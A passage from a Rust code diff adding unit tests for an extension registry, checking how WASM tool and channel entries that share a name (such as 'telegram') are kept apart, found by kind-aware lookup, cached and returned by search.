source: ExtensionSource::McpUrl {
url: "https://example.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::None,
};
@@ -591,10 +605,11 @@ mod tests {
description: "Telegram Bot API channel".to_string(),
keywords: vec!["messaging".into(), "bot".into()],
source: ExtensionSource::WasmBuildable {
repo_url: "channels-src/telegram".to_string(),
source_dir: "channels-src/telegram".to_string(),
build_dir: Some("channels-src/telegram".to_string()),
crate_name: Some("telegram-channel".to_string()),
},
fallback_source: None,
auth_hint: AuthHint::CapabilitiesAuth,
},
// This shares a name with the builtin slack-mcp but has a different kind, so both should appear
@@ -605,10 +620,11 @@ mod tests {
description: "Slack WASM tool".to_string(),
keywords: vec!["messaging".into()],
source: ExtensionSource::WasmBuildable {
repo_url: "tools-src/slack".to_string(),
source_dir: "tools-src/slack".to_string(),
build_dir: Some("tools-src/slack".to_string()),
crate_name: Some("slack-tool".to_string()),
},
fallback_source: None,
auth_hint: AuthHint::CapabilitiesAuth,
},
];
@@ -644,6 +660,7 @@ mod tests {
source: ExtensionSource::McpUrl {
url: "https://other.slack.com".to_string(),
},
fallback_source: None,
auth_hint: AuthHint::Dcr,
}];
@@ -655,6 +672,241 @@ mod tests {
assert_eq!(entry.unwrap().display_name, "Slack MCP");
}
#[tokio::test]
async fn test_get_with_kind_resolves_collision() {
// Two entries with the same name but different kinds (the telegram collision scenario)
let catalog_entries = vec![
RegistryEntry {
name: "telegram".to_string(),
display_name: "Telegram Tool".to_string(),
kind: ExtensionKind::WasmTool,
description: "Telegram MTProto tool".to_string(),
keywords: vec!["messaging".into()],
source: ExtensionSource::WasmBuildable {
source_dir: "tools-src/telegram".to_string(),
build_dir: Some("tools-src/telegram".to_string()),
crate_name: Some("telegram-tool".to_string()),
},
fallback_source: None,
auth_hint: AuthHint::CapabilitiesAuth,
},
RegistryEntry {
name: "telegram".to_string(),
display_name: "Telegram Channel".to_string(),
kind: ExtensionKind::WasmChannel,
description: "Telegram Bot API channel".to_string(),
keywords: vec!["messaging".into(), "bot".into()],
source: ExtensionSource::WasmBuildable {
source_dir: "channels-src/telegram".to_string(),
build_dir: Some("channels-src/telegram".to_string()),
crate_name: Some("telegram-channel".to_string()),
},
fallback_source: None,
auth_hint: AuthHint::CapabilitiesAuth,
},
];
let registry = ExtensionRegistry::new_with_catalog(catalog_entries);
// Without kind hint, get() returns the first match (WasmTool)
let entry = registry.get("telegram").await;
assert!(entry.is_some());
assert_eq!(entry.unwrap().kind, ExtensionKind::WasmTool);
// With kind hint for WasmChannel, get_with_kind() returns the channel entry
let entry = registry
.get_with_kind("telegram", Some(ExtensionKind::WasmChannel))
.await;
assert!(entry.is_some());
let entry = entry.unwrap();
assert_eq!(entry.kind, ExtensionKind::WasmChannel);
assert_eq!(entry.display_name, "Telegram Channel");
// With kind hint for WasmTool, get_with_kind() returns the tool entry
let entry = registry
.get_with_kind("telegram", Some(ExtensionKind::WasmTool))
.await;
assert!(entry.is_some());
let entry = entry.unwrap();
assert_eq!(entry.kind, ExtensionKind::WasmTool);
assert_eq!(entry.display_name, "Telegram Tool");
// Without kind hint (None), get_with_kind() falls back to first match
let entry = registry.get_with_kind("telegram", None).await;
assert!(entry.is_some());
assert_eq!(entry.unwrap().kind, ExtensionKind::WasmTool);
// Kind mismatch: no McpServer named "telegram" exists — must return None,
// not silently fall back to the WasmTool entry.
let entry = registry
.get_with_kind("telegram", Some(ExtensionKind::McpServer))
.await;
assert!(
entry.is_none(),
"Should return None when kind doesn't match, not fall back to wrong kind"
);
}
#[tokio::test]
async fn test_get_with_kind_discovery_cache() {
let registry = ExtensionRegistry::new();
// Add two entries with the same name but different kinds to the discovery cache
let tool_entry = RegistryEntry {
name: "cached-ext".to_string(),
display_name: "Cached Tool".to_string(),
kind: ExtensionKind::WasmTool,
description: "A cached tool".to_string(),
keywords: vec![],
source: ExtensionSource::WasmBuildable {
source_dir: "tools-src/cached".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::None,
};
let channel_entry = RegistryEntry {
name: "cached-ext".to_string(),
display_name: "Cached Channel".to_string(),
kind: ExtensionKind::WasmChannel,
description: "A cached channel".to_string(),
keywords: vec![],
source: ExtensionSource::WasmBuildable {
source_dir: "channels-src/cached".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::None,
};
registry
.cache_discovered(vec![tool_entry, channel_entry])
.await;
// Kind-aware lookup should find the channel in the cache
let entry = registry
.get_with_kind("cached-ext", Some(ExtensionKind::WasmChannel))
.await;
assert!(entry.is_some());
assert_eq!(entry.unwrap().display_name, "Cached Channel");
// Kind-aware lookup should find the tool in the cache
let entry = registry
.get_with_kind("cached-ext", Some(ExtensionKind::WasmTool))
.await;
assert!(entry.is_some());
assert_eq!(entry.unwrap().display_name, "Cached Tool");
}
// Channel tests (telegram, slack, discord, whatsapp) require the embedded catalog
// to be loaded via new_with_catalog(). See test_new_with_catalog for catalog coverage.
// === QA Plan P2 - 2.4: Extension registry collision tests ===
#[tokio::test]
async fn test_same_name_different_kind_both_discoverable() {
// A WASM channel and WASM tool with the same name must coexist.
let catalog_entries = vec![
RegistryEntry {
name: "telegram".to_string(),
display_name: "Telegram Channel".to_string(),
kind: ExtensionKind::WasmChannel,
description: "Telegram messaging channel".to_string(),
keywords: vec!["messaging".into()],
source: ExtensionSource::WasmBuildable {
source_dir: "channels-src/telegram".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::CapabilitiesAuth,
},
RegistryEntry {
name: "telegram".to_string(),
display_name: "Telegram Tool".to_string(),
kind: ExtensionKind::WasmTool,
description: "Telegram API tool".to_string(),
keywords: vec!["messaging".into()],
source: ExtensionSource::WasmBuildable {
source_dir: "tools-src/telegram".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::CapabilitiesAuth,
},
];
let registry = ExtensionRegistry::new_with_catalog(catalog_entries);
let all = registry.all_entries().await;
// Both should exist since they have different kinds.
let channel = all
.iter()
.find(|e| e.name == "telegram" && e.kind == ExtensionKind::WasmChannel);
let tool = all
.iter()
.find(|e| e.name == "telegram" && e.kind == ExtensionKind::WasmTool);
assert!(channel.is_some(), "Channel entry missing");
assert!(tool.is_some(), "Tool entry missing");
// Search should return both.
let results = registry.search("telegram").await;
let channel_hit = results
.iter()
.any(|r| r.entry.name == "telegram" && r.entry.kind == ExtensionKind::WasmChannel);
let tool_hit = results
.iter()
.any(|r| r.entry.name == "telegram" && r.entry.kind == ExtensionKind::WasmTool);
assert!(channel_hit, "Search should find channel");
assert!(tool_hit, "Search should find tool");
}
#[tokio::test]
async fn test_get_returns_first_match_regardless_of_kind() {
// `get()` returns the first entry with a matching name. If a channel
// and tool share a name, callers that need a specific kind should
// filter by kind.
let catalog_entries = vec![
RegistryEntry {
name: "myext".to_string(),
display_name: "MyExt Channel".to_string(),
kind: ExtensionKind::WasmChannel,
description: "Channel".to_string(),
keywords: vec![],
source: ExtensionSource::WasmBuildable {
source_dir: "x".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::None,
},
RegistryEntry {
name: "myext".to_string(),
display_name: "MyExt Tool".to_string(),
kind: ExtensionKind::WasmTool,
description: "Tool".to_string(),
keywords: vec![],
source: ExtensionSource::WasmBuildable {
source_dir: "y".to_string(),
build_dir: None,
crate_name: None,
},
fallback_source: None,
auth_hint: AuthHint::None,
},
];
let registry = ExtensionRegistry::new_with_catalog(catalog_entries);
// get() is name-only, returns first match.
let entry = registry.get("myext").await;
assert!(entry.is_some());
// The first catalog entry added is the channel.
assert_eq!(entry.unwrap().kind, ExtensionKind::WasmChannel);
}
}
+2 -2
View File
@@ -14,6 +14,6 @@ pub use analytics::{JobStats, ToolStats};
#[cfg(feature = "postgres")]
pub use store::Store;
pub use store::{
ConversationMessage, ConversationSummary, JobEventRecord, LlmCallRecord, SandboxJobRecord,
SandboxJobSummary, SettingRow,
AgentJobRecord, AgentJobSummary, ConversationMessage, ConversationSummary, JobEventRecord,
LlmCallRecord, SandboxJobRecord, SandboxJobSummary, SettingRow,
};

Some files were not shown because too many files have changed in this diff Show More